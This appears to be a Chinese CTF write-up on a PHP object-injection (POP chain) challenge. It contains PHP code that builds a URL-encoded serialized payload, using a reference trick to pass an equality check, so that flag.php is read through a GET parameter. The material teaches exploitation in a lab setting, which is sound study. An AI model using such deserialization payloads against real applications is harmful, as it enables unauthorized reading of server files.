周周练的时候看了一叶飘零师傅的博客才知道pop链的存在(还是太菜了啊),先来学习一下关于pop链的知识。
再看一看这道题目的baby类
也就是说这道题目中的类baby调用了sec类的read()方法。l
但是sec类的read()是一个安全函数,这时候发现cool类也存在一个read()方法,我们可以利用cool类的read()函数对flag.php进行读取。
这个时候就要利用最开始提到的pop链来调用cool类的read方法。构造的方法如下(将构造函数中的sec改为cool即可)
注意到cool类中read方法的判断语句$this->nice->aaa === $this->nice->bbb
,而且$this->nice->aaa = $sth;
变量aaa被一个未知量$sth
赋值了。这个时候我们利用指针$a->bbb =&$a->aaa;
这样bbb的值就能随着aaa的变化而变化,在线编译一下(其中amazing是一个序列化的空的baby类的对象)
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename='flag.php';
public $nice;
public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D';
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
$a = new baby();
$a->bbb =&$a->aaa;
$b=serialize($a);
echo urlencode($b);
?>
get方式传入结果,得到flag